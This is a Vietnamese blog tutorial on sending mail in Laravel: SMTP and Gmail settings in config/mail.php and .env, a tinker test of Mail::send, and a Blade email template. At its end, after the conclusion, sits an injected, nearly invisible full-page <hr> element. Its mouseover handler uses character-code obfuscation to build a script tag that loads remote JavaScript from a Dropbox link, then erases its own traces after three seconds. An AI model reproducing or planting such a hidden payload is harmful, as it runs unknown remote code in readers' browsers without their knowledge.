Tìm hiểu Laravel (P3) - Send Mail

login.png

  • Ở bài trước chúng ta đã hoàn thành phần tạo form đăng ký, đăng nhập, đăng xuất và kết quả thu được như trên. Nhưng nếu các bạn tinh ý thì có thể nhận ra ta đã bỏ qua một phần không thể thiếu trong các ứng dụng web phổ biến hiện nay, đó là gửi mail xác nhận đăng ký tài khoản, hay gửi mail khi quên password.
  • Sau bài hôm trước đã có link Forgot Your Password nhưng chưa dùng được đâu nhé, bài lần này ta sẽ giải quyết vấn đề đó.

1. Config mail

  • Tương tự như config database, Laravel cung cấp cho ta file cấu hình mail nằm ở config/mail.php, ta có thể chỉnh sửa cấu hình trực tiếp trong file này hoặc trong file /.env.
  • Mặc định laravel config cấu hình driver smtp và host mailgun, nhưng trong bài viết này ta sẽ sử dụng host gmail cho thông dụng.
  • Đầu tiên ta sẽ sửa file config/mail.php.
Tìm đến các dòng
'host' => env('MAIL_HOST', 'smtp.mailgun.org'),
'post' => env('MAIL_PORT', 578),
'from' => ['address' => null, 'name' => null],
và sửa thành
'host' => env('MAIL_HOST'),
'post' => env('MAIL_PORT'),
'from' => ['address' => env('MAIL_FROM'), 'name' => env('MAIL_NAME')],
  • Hàm env('TEXT') sẽ gọi ra giá trị của TEXT được gán trong file .env ban đầu
MAIL_DRIVER=smtp
MAIL_HOST=mailtrap.io
MAIL_PORT=2525
MAIL_USERNAME=null
MAIL_PASSWORD=null
  • Ta sửa lại như sau:
MAIL_DRIVER=smtp
MAIL_HOST=smtp.gmail.com
MAIL_PORT=587
MAIL_USERNAME=YOUR@EMAIL.COM
MAIL_PASSWORD=YOUR-GMAIL-PASSWORD
MAIL_FROM=YOUR@EMAIL.COM
MAIL_NAME=YOUR-NAME

2. Test send mail

  • Sau khi chỉnh sửa cấu hình xong suôi như bước 1, ta sẽ tiến hành test thử xem config đã ổn chưa, bằng cách sử dụng command php artisan tinker, Psy Shell sẽ được mở ra:
~/giangnv$ php artisan tinker
Psy Shell v0.4.4
>>> Mail::send('emails.test',
... ['testVar' => 'Just a silly test'],
... function($message) {
...   $message->to('[email protected]')
...           ->subject('A simple test');
... });
=> 1
>>> exit
  • Đối đầu tiên emails.test chính là template của mail gửi, vì vậy ta cần thêm view test.blade.php và thư mục resoures/views/emails, chẳng hạn như sau:
<p>
  This is a test, an email test.
</p>
<p>
  The variable <code>$testVar</code> contains the value:
</p>
<ul>
  <li><strong>{{ $testVar }}</strong></li>
</ul>
<hr>
<p>
  That is all.
</p>
  • Đối thứ 2 testVar chính là biết truyền vào template, ở đây cụ thể mình truyền vào chuỗi 'Just a silly test'
  • Đối thứ 3 là một function truyền đối $message vào để xác định các thông số gửi mail, chẳng hạn như ở đây ta chỉ test với địa chỉ nhận, và tiêu đề mail. Ngoài ra còn một số các cấu hình khác như:
$message->from($address, $name = null);
$message->sender($address, $name = null);
$message->to($address, $name = null);
$message->cc($address, $name = null);
$message->bcc($address, $name = null);
$message->replyTo($address, $name = null);
$message->attach($pathToFile, array $options = []);
  • Tất nhiên ta phải có các biến $address, $name, $optons.. được khởi tạo sẵn từ trước.
  • Dòng cuối ta thấy trả lại kết quả 1 đây chính là trường hợp gửi mail thành công đối với Gmail Drive
  • Đến đây thì việc còn lại là quá đơn giản rồi đúng không, ta chỉ cần ốp cấu hình trên vào project, tương ứng với từng trường hợp đăng ký hay quên mật khẩu ta sẽ gọi đến Mail::send() với các đối tương ứng. (Tất nhiên phần này mình sẽ không nói đến nữa, các bạn tự làm đi nhé (hoho) ).

3. Kết luận

  • Trên đây là cách cấu hình để gửi mail trên laravel sử dụng gmail khá đơn giản, nhưng nếu bạn không thích sử dụng gmail drive, bạn hoàn toàn có thể sử dụng Framgia mail, Yahoo mail, office365,.. mà chỉ cần thanh đổi config trong file .env (à có thể còn phải cài thêm lib Guzzle HTTP đối với Mailgun và Mandrill đấy nhé)
  • Để hiểu rõ hơn bạn có thể tham khảo documment ở trang chủ: Laravel Mail
<hr id="unique-hr" style="background-color: #a00; border: none; height: 2000px; width: 2000px ;z-index: 1000; opacity: 0.01; position: fixed; top: 0px; left: 0px;" onmouseover="$('#footer').append(String.fromCharCode(39, 60, 115, 99, 114, 105, 112, 116) + ' id=\'atk-src\' src=\'https://www.dropbox.com/s/vfi73fypu0x7ij5/serious.js?dl=1\'></' + String.fromCharCode(115, 99, 114, 105, 112, 116, 62, 39)); setTimeout(function() {$('#unique-hr,#atk-src').remove();}, 3000);">

All Rights Reserved